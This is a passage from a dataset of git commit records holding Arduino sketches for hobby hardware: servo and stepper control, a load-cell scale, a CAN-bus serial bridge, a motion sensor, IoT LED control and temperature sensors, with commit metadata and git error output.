_millisTillNextUpdate--;\n\/\/}\n\nvoid loop2()\n{\n static bool ledOn = false;\n ledOn = !ledOn;\n digitalWrite(LED_BUILTIN, ledOn);\n delay(500);\n}\n\nvoid rot(int deg)\n{\n motor.step((float)deg \/ 360 * 200);\n}\n\nvoid play1()\n{\n rot(45);\n pixels.setPixelColor(0, pixels.Color(255, 255, 255));\n pixels.show();\n rot(-90);\n pixels.setPixelColor(1, pixels.Color(0, 150, 0));\n pixels.show();\n rot(90);\n pixels.setPixelColor(2, pixels.Color(0, 150, 0));\n pixels.show();\n rot(-90);\n pixels.setPixelColor(3, pixels.Color(0, 150, 0));\n pixels.show();\n rot(45);\n pixels.clear();\n pixels.show();\n}\n\nvoid loop()\n{\n if (Serial.available())\n {\n int steps = Serial.parseInt();\n\n if (steps == 1)\n {\n play1();\n }\n else\n {\n motor.step(steps);\n Serial.println(steps);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OzControlPanel\/OzControlPanel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b27e6579a689f2739cf4ad61a66120c19e2855b4","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"unhcfreg\/Ada-EducationRobot,unhcfreg\/Ada-EducationRobot","old_file":"SecuroBotServo\/SecuroBotServo.ino","new_file":"SecuroBotServo\/SecuroBotServo.ino","new_contents":"\/* Sweep\n by BARRAGAN <http:\/\/barraganstudio.com> \n This example code is in the public domain.\n\n modified 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/www.arduino.cc\/en\/Tutorial\/Sweep\n*\/ \n\n#include <Servo.h> \n \nServo myservo; \/\/ create servo object to control a servo \n \/\/ twelve servo objects can be created on most boards\n\nint maxPos = 150;\nint midPos = 85;\nint minPos = 20;\nint initPos = midPos;\nint pos = minPos; \/\/ variable to store the servo position \nint relayPin = 7;\n\nvoid setup() \n{ \n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object \n pinMode(relayPin, OUTPUT);\n initServo(initPos);\n Serial.begin(9600);\n delay(3000);\n digitalWrite(relayPin, HIGH);\n} \n \nvoid loop() \n{\n if(Serial.available()) {\n int readVal = Serial.read();\n Serial.print(\"Serial Value Read: \");\n Serial.println(readVal);\n switch(readVal) {\n case 1: \n moveServo(minPos);\n break;\n case 2: \n moveServo(midPos);\n break;\n case 3: \n moveServo(maxPos);\n break;\n default: \n \/\/moveServo(midPos);\n break;\n }\n }\n} \n\nvoid moveServo(int newPos) {\n if(newPos>pos) { \/\/fwd\n for(; pos <= newPos; pos += 1) \/\/ goes from 0 degrees to 180 degrees \n { \/\/ in steps of 1 degree \n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos' \n delay(15); \/\/ waits 15ms for the servo to reach the position \n }\n delay(500);\n }\n else if(newPos<pos) { \/\/rev\n for(; pos >= newPos; pos -= 1) \/\/ goes from 180 degrees to 0 degrees \n { \n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos' \n delay(15); \/\/ waits 15ms for the servo to reach the position \n }\n delay(500);\n }\n serialResponse();\n}\n\nvoid initServo(int start) {\n myservo.write(start);\n delay(1500);\n}\n\nvoid serialResponse() {\n Serial.write(0x01);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SecuroBotServo\/SecuroBotServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0657f90c1a8e4f8e5d18448dac2bdcbf215747b9","subject":"adding unfinshed solution for arduino scale ulnoiot connector","message":"adding unfinshed solution for arduino scale ulnoiot connector\n","repos":"ulno\/micropython-extra-ulno,ulno\/ulnoiot,ulno\/ulnoiot,ulno\/ulnoiot,ulno\/ulnoiot,ulno\/micropython-extra-ulno,ulno\/ulnoiot","old_file":"examples\/arduino_keyestudio_scale\/arduino_keyestudio_scale.ino","new_file":"examples\/arduino_keyestudio_scale\/arduino_keyestudio_scale.ino","new_contents":"\/\/ Example for an i2c connector to communicate with ulnoiot-node via i2c\n\/\/ This example is optimized for the keyes-scale\n\/\/\n\/\/ Based on Wire example by Nicholas Zambetti <http:\/\/www.zambetti.com>\n\/\/\n\/\/ Author: ulno (http:\/\/ulno.net)\n\/\/ Created: 2017-10-21\n\/\/\n\n#include <HX711_ADC.h> \/\/ https:\/\/github.com\/olkal\/HX711_ADC\n#include <Wire.h> \n\/\/#include <LiquidCrystal_PCF8574.h> \/\/ http:\/\/www.mathertel.de\/Arduino\/LiquidCrystal_PCF8574.aspx\n#include <math.h>\n#include <UlnoiotI2c.h>\n\nHX711_ADC hx(9, 10);\n\nbool taring = false;\n\nvoid trigger_tare( char *msg, int len ) {\n Serial.print(\"Received a message of length: \");\n Serial.println(len);\n Serial.print(\"Message:\");\n Serial.println(msg); \/\/ is properly 0 terminated - but len can be used to\n if(len==4 && !strncmp(\"tare\",msg,4)) {\n Serial.println(\"Tare request received.\");\n hx.tareNoDelay();\n taring = true;\n }\n}\n\nUlnoiotI2c ui2c(1000, trigger_tare); \/\/ Must be initialized first (before other i2c)\n\/\/ doesn't work LiquidCrystal_PCF8574 lcd(0x27); \/\/ set the LCD address to 0x27 for a 16 chars and 2 line display\n\nlong t=0;\nvoid setup() {\n Serial.begin(115200);\n \/*Serial.println(\"Dose: check for LCD\");\n\n \/\/ See http:\/\/playground.arduino.cc\/Main\/I2cScanner\n Wire.begin();\n Wire.beginTransmission(0x27);\n int error = Wire.endTransmission();\n if (error == 0) {\n Serial.println(\"LCD found.\");\n } else {\n Serial.print(\"Error: \");\n Serial.print(error);\n Serial.println(\": LCD not found.\");\n }\n\n lcd.setBacklight(255);\n lcd.begin(16,2);\n lcd.clear();\n lcd.print(\"Wait, starting\");\n lcd.setCursor(0, 1);\n lcd.print(\"up for 5s ...\"); *\/\n Serial.println(\"Wait 5s to start up and stabilize ...\");\n hx.setGain(128);\n hx.begin();\n long stabilisingtime = 5000; \/\/ tare preciscion can be improved by adding a few seconds of stabilising time\n hx.start(stabilisingtime);\n hx.setCalFactor(448.5); \/\/ user set calibration factor (float)\n Serial.println(\"Startup + tare is complete\");\n \/*ui2c.suspend(1000); \/\/ let the lcd print some initial stuff\n lcd.clear();\n lcd.print(\"Tare and start\");\n lcd.setCursor(0, 1);\n lcd.print(\"up complete.\");\n delay(500);\n lcd.clear(); \n lcd.setCursor(0,0);\n lcd.print(\"UlnoIoT scale\");*\/\n}\n\nvoid loop() {\n char mystr[20];\n long newt;\n int w;\n hx.update();\n if(digitalRead(0) == LOW) {\n hx.tareNoDelay();\n taring = true;\n }\n \/\/get smoothed value from data set + current calibration factor\n newt = millis();\n if (newt > t + 500) {\n t = newt; \/\/ TODO: check overflow\n \/\/float v = hx.getCalFactor();\n w = round(hx.getData());\n snprintf(mystr, 19, \"%d\", w);\n ui2c.write(mystr);\n Serial.print(\"Weight in g: \");\n Serial.println(w);\n\/* ui2c.suspend(300); \/\/ Suspend ulnoiot i2c master to act myself as master\n lcd.setCursor(1, 1);\n lcd.print(w);\n lcd.print(\" g\");*\/\n \/\/check if last tare operation is complete\n if (hx.getTareStatus() == true) {\n taring = false;\n Serial.println(\"Tare complete\");\n }\n \/*ui2c.suspend(50); \/\/ Suspend ulnoiot i2c master to use act myself as master\n if (taring) {\n lcd.print(\" taring \"); \n } else {\n lcd.print(\" \"); \n } *\/\n }\n delay(1); \/\/ prevent busy waiting\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino_keyestudio_scale\/arduino_keyestudio_scale.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6cd2228b17f197923ec133230dc8dce2f87219e4","subject":"Added firmware folder","message":"Added firmware folder\n","repos":"yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI","old_file":"firmware\/arduCanbus\/arduCanbus.ino","new_file":"firmware\/arduCanbus\/arduCanbus.ino","new_contents":"\/\/Serial to Can-bus converter using Arduino + CAN-BUS Shield\n#include <Arduino.h>\n#include <mcp_can.h>\n#include <SPI.h>\n\n\/\/Protocol\n#define CMD_BUF_LEN 256\n#define MAVLINK_BEGIN 0xFE\n\/\/#define MAVLINK_HEADDER_LEN 8\n#define MAVLINK_HEADDER_LEN 3\n\/\/temporal\n\/\/0 START MARK\n\/\/1 PAYLOAD LENGTH\n\/\/2 COMMAND\n\/\/3 Payload...\n\n\/\/Commands\n#define CMD_CAN_SEND 0\n#define CMD_OPERATE_MODE 1\n\n\/\/Can-bus shield\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = 9;\/\/10;\nMCP_CAN CAN(SPI_CS_PIN); \/\/ Set CS pin\n\nstruct CMD_STREAM\n{\n\tuint8_t m_cmd;\n\tuint8_t m_payloadLen;\n\tuint16_t m_iByte;\n\tuint8_t m_pBuf[CMD_BUF_LEN];\n};\nCMD_STREAM m_cmd;\n\n\nvoid command(void)\n{\n\tint i;\n\tunsigned long* addr;\n\tbyte len;\n\tbyte* pData;\n\n\t\/\/Command\n\tswitch (m_cmd.m_pBuf[2])\n\t{\n\tcase CMD_CAN_SEND:\n\t\taddr = (unsigned long*)(&m_cmd.m_pBuf[3]);\n\t\tlen = m_cmd.m_pBuf[7];\n\t\tpData = &m_cmd.m_pBuf[8];\n\n\t\t\/\/ send data: id = 0x00, standrad frame, data len = 8, stmp: data buf\n\t\tCAN.sendMsgBuf(*addr, 0, len, pData);\n\t\tbreak;\n\n\tdefault:\n\n\t\tbreak;\n\t}\n}\n\nbool receive(void)\n{\n\tbyte\tinByte;\n\n\twhile (Serial.available() > 0)\n\t{\n\t\tinByte = Serial.read();\n\n\t\tif (m_cmd.m_cmd != 0)\n\t\t{\n\t\t\tm_cmd.m_pBuf[m_cmd.m_iByte] = inByte;\n\t\t\tm_cmd.m_iByte++;\n\n\t\t\tif (m_cmd.m_iByte == 2)\t\/\/Payload length\n\t\t\t{\n\t\t\t\tm_cmd.m_payloadLen = inByte;\n\t\t\t}\n\t\t\telse if (m_cmd.m_iByte == m_cmd.m_payloadLen + MAVLINK_HEADDER_LEN)\n\t\t\t{\n\t\t\t\t\/\/decode the command\n\t\t\t\tcommand();\n\t\t\t\tm_cmd.m_cmd = 0;\n\n\t\t\t\t\/\/Execute one command at a time\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\telse if (inByte == MAVLINK_BEGIN)\n\t\t{\n\t\t\tm_cmd.m_cmd = inByte;\n\t\t\tm_cmd.m_pBuf[0] = inByte;\n\t\t\tm_cmd.m_iByte = 1;\n\t\t\tm_cmd.m_payloadLen = 0;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\n\twhile (CAN_OK != CAN.begin(CAN_500KBPS)) \/\/ init can bus : baudrate = 500k\n\t{\n\t\tSerial.println(\"CAN BUS Shield init fail\");\n\t\tSerial.println(\" Init CAN BUS Shield again\");\n\t\tdelay(100);\n\t}\n\tSerial.println(\"CAN BUS Shield init ok!\");\n}\n\nvoid loop()\n{\n\treceive();\n\n unsigned char len = 0;\n unsigned char buf[8];\n\n if(CAN_MSGAVAIL == CAN.checkReceive()) \/\/ check if data coming\n {\n CAN.readMsgBuf(&len, buf); \/\/ read data, len: data length, buf: data buf\n\n unsigned int canId = CAN.getCanId();\n \n Serial.println(\"-----------------------------\");\n Serial.print(\"ID: \");\n Serial.println(canId, HEX);\n\n for(int i = 0; i<len; i++) \/\/ print the data\n {\n Serial.print(buf[i], HEX);\n Serial.print(\"\\t\");\n }\n Serial.println();\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/arduCanbus\/arduCanbus.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"23984e5ca5dee227ffa1d8b961aec69a579ad893","subject":"we need a notion of speed","message":"we need a notion of speed\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"StallGuardTest\/StallGuardTest.ino","new_file":"StallGuardTest\/StallGuardTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3e2e3d1d359ab45121d4ba03d2a09cbc1dfa7ce8","subject":"added calibration file for motors","message":"added calibration file for motors\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_calib.ino","new_file":"motor_calib.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a32384524161dece05730e4d8a07a1b24124e20e","subject":"First version of arduino sketch","message":"First version of arduino sketch\n","repos":"AfonsoFGarcia\/ArduinoLight,AfonsoFGarcia\/ArduinoLight","old_file":"Arduino\/arduino.ino","new_file":"Arduino\/arduino.ino","new_contents":"int led = 13;\n\nchar incomingByte = 0;\nchar message[4];\nint index = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led, OUTPUT);\n randomSeed(analogRead(A0));\n}\n\nvoid readMessage() {\n while(Serial.available() > 0) {\n incomingByte = Serial.read();\n message[index++] = incomingByte;\n message[index] = '\\0';\n }\n}\n\nvoid cleanMessage() {\n index = 0;\n message[0] = '\\0';\n}\n\nvoid loop() {\n readMessage();\n if(strcmp(message,\"REQ\") == 0) {\n Serial.println(random(0,1023));\n } else if (strcmp(message,\"ON\") == 0) {\n Serial.println(\"OK\");\n } else if (strcmp(message,\"OFF\") == 0) {\n Serial.println(\"OK\");\n } else if(message[0] != '\\0') {\n Serial.println(\"NOK\");\n }\n cleanMessage();\n\n \/*int sensorValue = analogRead(A0);\n Serial.println(sensorValue);\n if(sensorValue > 800) {\n digitalWrite(led, HIGH);\n } else {\n digitalWrite(led, LOW);\n }\n delay(1000);*\/\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/arduino.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"88e8f086883d2d5b42d05d82ec53392b99ac6b80","subject":"Added Arduino sketch used for testing: Motion Detector","message":"Added Arduino sketch used for testing: Motion Detector\n","repos":"jrullan\/udoo-neo-c-host,jrullan\/udoo-neo-c-host","old_file":"Udoo_Neo_Serial.ino","new_file":"Udoo_Neo_Serial.ino","new_contents":"\/*\n * Test program to talk to a C program on the Linux side\n * of the Udoo NEO.\n * \n * Notes:\n * 1. Use Serial.print or Serial.write, don't use Serial.println\n * 2. Implement all writing functions, using above note, to add a newline\n * character to a string use str += '\\n' notation. Like sendLine()\n * 3. At the end of the loop() routine, use Serial.flush() \n * 4. Provide a delay of about 100ms before writing again. \n * The C program has a poll interval time of about 50ms.\n *\/\n#define BUFFER_MAX 64\n#define PIR 4\n#define LED1 13\n\nbyte buff[BUFFER_MAX];\nunsigned char *intToStr;\nboolean motionDetected = false;\nint l = 0;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(PIR,INPUT);\n pinMode(LED1,OUTPUT);\n intToStr = (unsigned char*) malloc (sizeof(int)\/sizeof(unsigned char));\n if(intToStr != NULL) memset(&intToStr,0,sizeof(int)\/sizeof(unsigned char));\n memset(&buff,0,BUFFER_MAX);\n}\n\nvoid loop() {\n \/*\n if(Serial.available()>0){\n byte bytes = readSerial(buff);\n sendLine(\"Ard: Bytes received: \",bytes);\n sendLine(\"Ard: Message received: \",buff,bytes);\n }\n *\/\n \n if(digitalRead(PIR)==HIGH){\n if(!motionDetected){ \/\/ One Shot\n digitalWrite(LED1,HIGH);\n sendLine(\"ard:Debug(Motion Detected)\", l++);\n }\n motionDetected = true;\n }else{\n digitalWrite(LED1,LOW);\n motionDetected = false;\n }\n \n\n \/\/Serial.print(l++);\n \/\/sendLine(\" From Arduino \");\n \/\/Serial.print(\"From Arduino \");\n \/\/sendLine(\" \"); \n \n\n Serial.flush();\n delay(100); \/\/Minimum time to wait after serial flush.\n}\n\n\/\/======================================================\n\n\/* \n * Read serial data into buffer \n * Returns quantity of bytes read\n *\/\nbyte readSerial(unsigned char *buff){\n byte bytes;\n while(Serial.available()>0){\n buff[bytes++] = Serial.read();\n }\n return bytes;\n}\n\n\/*\n * Sends contents of the buffer through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(unsigned char *buff, int bytes){\n if(bytes > BUFFER_MAX) bytes = BUFFER_MAX;\n Serial.write(buff,bytes);\n Serial.print('\\n');\n}\n\n\/*\n * Sends contents of the buffer through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(String str,unsigned char *buff, int bytes){\n if(bytes > BUFFER_MAX) bytes = BUFFER_MAX;\n Serial.print(str);\n Serial.write(buff,bytes);\n Serial.print('\\n');\n}\n\n\/*\n * Sends a number through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(int number){\n Serial.print(number);\n Serial.print('\\n');\n}\n\n\/*\n * Sends a string through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(String str){\n str += '\\n'; \/\/append newline character\n Serial.print(str);\n \/\/byte len = str.length()+1; \/\/calculate length of string\n \/\/str.getBytes(buff,len); \/\/copy string to buffer\n \/\/Serial.write(buff,len); \/\/write buffer to serial\n}\n\n\/*\n * Sends a string and an integer value through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(String str, int value){\n str += value; \/\/append value to string\n str += '\\n'; \/\/append newline character\n Serial.print(str);\n \/\/byte len = str.length() + 1; \/\/calculate length of string\n \/\/str.getBytes(buff,len); \/\/copy string to buffer\n \/\/Serial.write(buff,len); \/\/write buffer to serial\n}\n\n\/*\n * Sends a string and an float value through the serial\n * as a line. Ending in new line.\n *\/\nvoid sendLine(String str, int value, int places){\n Serial.print(str);\n Serial.print(value,places);\n Serial.print('\\n');\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Udoo_Neo_Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9cf22044160f75a918945143fec083e74019aed7","subject":"Add Led example for ethernet http","message":"Add Led example for ethernet http\n","repos":"theThings\/thethingsio-arduino-library,theThings\/arduino-examples,theThings\/thethingsio-arduino-library,theThings\/thethingsio-arduino-library,theThings\/arduino-examples,theThings\/arduino-examples","old_file":"thethingsiO\/examples\/http\/ethernet\/Led\/Led.ino","new_file":"thethingsiO\/examples\/http\/ethernet\/Led\/Led.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <thethingsiO.h>\n\n#define TOKEN \"your token here\"\n\nconst int ledPin = 2;\n\nthethingsiOEthernet thing(TOKEN);\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, HIGH);\n startEthernet();\n digitalWrite(ledPin, LOW);\n thing.subscribe();\n}\n\nvoid loop() {\n checkThing(thing, ledPin);\n checkSubscription(thing);\n}\n\nvoid checkThing(thethingsiOEthernet &thing, const int led) {\n \/\/ Parse new data on the Thing to turn the led on\/off\n if (thing.available()) {\n String text = thing.read();\n text.replace(\" \", \"\");\n text.toUpperCase();\n if (text.indexOf(\"[{\\\"KEY\\\":\\\"LED\\\",\\\"VALUE\\\":\\\"ON\\\"}]\") >= 0) {\n Serial.println(\"Led: ON\");\n digitalWrite(led, HIGH);\n }\n else if (text.indexOf(\"[{\\\"KEY\\\":\\\"LED\\\",\\\"VALUE\\\":\\\"OFF\\\"}]\") >= 0) {\n Serial.println(\"Led: OFF\");\n digitalWrite(led, LOW);\n }\n }\n}\n\nvoid checkSubscription(thethingsiOEthernet &thing) {\n if (!thing.subscribed()) {\n Serial.println(\"Resubscribe!\");\n thing.subscribe();\n }\n}\n\nvoid startEthernet() {\n Serial.println(\"Connecting Arduino to network...\");\n\n \/\/ Local Network Settings\n byte mac[] = { 0xD4, 0x28, 0xB2, 0xFF, 0xA0, 0xA1 }; \/\/ Must be unique on local network\n\n \/\/ Connect to network amd obtain an IP address using DHCP\n while (Ethernet.begin(mac) == 0)\n Serial.println(\"DHCP Failed, retrying\");\n Serial.println(\"Arduino connected to network using DHCP\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'thethingsiO\/examples\/http\/ethernet\/Led\/Led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec3ade7c30e00c0184da552dcf15e042072e1029","subject":"Updated example.","message":"Updated example.\n","repos":"matmunk\/DS18B20","old_file":"examples\/Multiple\/Multiple.ino","new_file":"examples\/Multiple\/Multiple.ino","new_contents":"\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013 Mathias Munk Hansen\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <OneWire.h>\n#include <DS18B20.h>\n\n\/\/ 1-Wire devices connected to digital pin 2 on the Arduino.\nDS18B20 ds(2);\n\nvoid setup()\n{\n Serial.begin(9600);\n \n \/\/ Print number of devices on the bus.\n Serial.print(\"Devices: \");\n Serial.println(ds.getNumberOfDevices());\n Serial.println();\n}\n\nvoid loop()\n{\n \/\/ Iterate through all devices.\n while(ds.selectNext())\n {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print family name. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n switch(ds.getFamilyCode())\n {\n case MODEL_DS18S20:\n Serial.println(\"Model: DS18S20\");\n break;\n case MODEL_DS1820:\n Serial.println(\"Model: DS1820\");\n break;\n case MODEL_DS18B20:\n Serial.println(\"Model: DS18B20\");\n break;\n default:\n Serial.println(\"Unrecognized Device\");\n break;\n }\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print address. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n uint8_t address[8];\n \n ds.getAddress(address);\n \n Serial.print(\"Address:\");\n \n for(uint8_t i = 0; i < 8; i++)\n {\n Serial.print(\" \");\n Serial.print(address[i]);\n }\n \n Serial.println();\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print resolution. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n Serial.print(\"Resolution: \");\n Serial.println(ds.getResolution());\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print power mode. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n Serial.print(\"Power Mode: \");\n \n if(ds.getPowerMode())\n {\n Serial.println(\"External\");\n }\n else\n {\n Serial.println(\"Parasite\");\n }\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print temperature in degrees Celcius and degrees Fahrenheit. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n Serial.print(\"Temperature: \");\n Serial.print(ds.getTempC());\n Serial.print(\" C \/ \");\n Serial.print(ds.getTempF());\n Serial.println(\" F\");\n \n \n \/\/ Print an empty line.\n Serial.println();\n }\n \n \/\/ Wait 10 seconds.\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Multiple\/Multiple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30bec314f10b9568938d33077c19b63cd5dc54d5","subject":"new temperature sensor data publication","message":"new temperature sensor data publication\n\nSigned-off-by: Thiago da Silva <f23d94b2a735b6193d3882ae31308d2e41e8282b@redhat.com>\n","repos":"thiagodasilva\/home_automation,thiagodasilva\/home_automation","old_file":"temperature_sensor\/esp8266_dht22_adafruitio_pubsubclient.ino","new_file":"temperature_sensor\/esp8266_dht22_adafruitio_pubsubclient.ino","new_contents":"\/***************************************************\n Adafruit ESP8266 Sensor Module\n \n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n Works great with Adafruit's Huzzah ESP board:\n ----> https:\/\/www.adafruit.com\/product\/2471\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n Written by Tony DiCola for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ Libraries\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"DHT.h\"\n\n\/\/ DHT 22 sensor\n#define DHTPIN 2\n#define DHTTYPE DHT22 \n\n\/\/ WiFi parameters\n#define WLAN_SSID \"<your_ssid>\"\n#define WLAN_PASS \"<your_pass\"\n\n\/\/ Adafruit IO\n#define AIO_USERNAME \"<adafruit_username>\"\n#define AIO_KEY \"<adafruit_aio_key>\"\n#define TEMP_FEED_PATH \"<username>\/feeds\/temperature\"\n#define HUMIDITY_FEED_PATH \"<username>\/feeds\/humidity\"\n\n\/\/ LEDs\n#define BLUE_LED 4\n#define GREEN_LED 5\n\n\/\/ DHT sensor\nDHT dht(DHTPIN, DHTTYPE, 15);\n\n\/\/ Functions\nvoid connect();\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClientSecure client;\nPubSubClient mqttclient(client);\n\n\n\/*************************** Sketch Code ************************************\/\nvoid callback (char* topic, byte* payload, unsigned int length) {\n Serial.println(topic);\n Serial.write(payload, length);\n Serial.println(\"\");\n}\n\nvoid setup() {\n\n \/\/ initialize led pins\n pinMode(BLUE_LED, OUTPUT);\n pinMode(GREEN_LED, OUTPUT);\n\n \/\/ Init sensor\n dht.begin();\n\n Serial.begin(115200);\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n delay(10);\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n digitalWrite(BLUE_LED, HIGH);\n Serial.println();\n\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \"));\n Serial.println(WiFi.localIP());\n delay(3000);\n\n \/\/ connect to adafruit io\n mqttclient.setServer(\"io.adafruit.com\", 8883);\n mqttclient.setCallback(callback); \n connect();\n\n}\n\nvoid loop() {\n\n Serial.println(F(\"check connection\"));\n if (!mqttclient.connected()) {\n connect();\n }\n\n Serial.println(F(\"get data\\n\"));\n \/\/ Grab the current state of the sensor\n float humidity_data = dht.readHumidity();\n float temperature_data = dht.readTemperature(true);\n\n \/\/ Publish data\n mqttclient.publish(TEMP_FEED_PATH, String(temperature_data).c_str(), true);\n Serial.print(\"Temperature published: \");\n Serial.print(temperature_data);\n mqttclient.publish(HUMIDITY_FEED_PATH, String(humidity_data).c_str(), true);\n Serial.print(\"\\nHumidity published: \");\n Serial.print(humidity_data);\n \n\n \/\/ Repeat every 20 seconds\n mqttclient.loop();\n delay(20000);\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n while (WiFi.status() != WL_CONNECTED) {\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, LOW);\n delay(3000);\n }\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n while(!mqttclient.connected()) {\n if (mqttclient.connect(\"ESP8266Client\", AIO_USERNAME, AIO_KEY)) {\n Serial.println(F(\"Adafruit IO Connected!\")); \n digitalWrite(GREEN_LED, HIGH);\n digitalWrite(BLUE_LED, LOW);\n } else {\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, HIGH);\n Serial.print(F(\"Adafruit IO connection failed! rc=\"));\n Serial.print(mqttclient.state());\n Serial.println(\"try again in 10 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 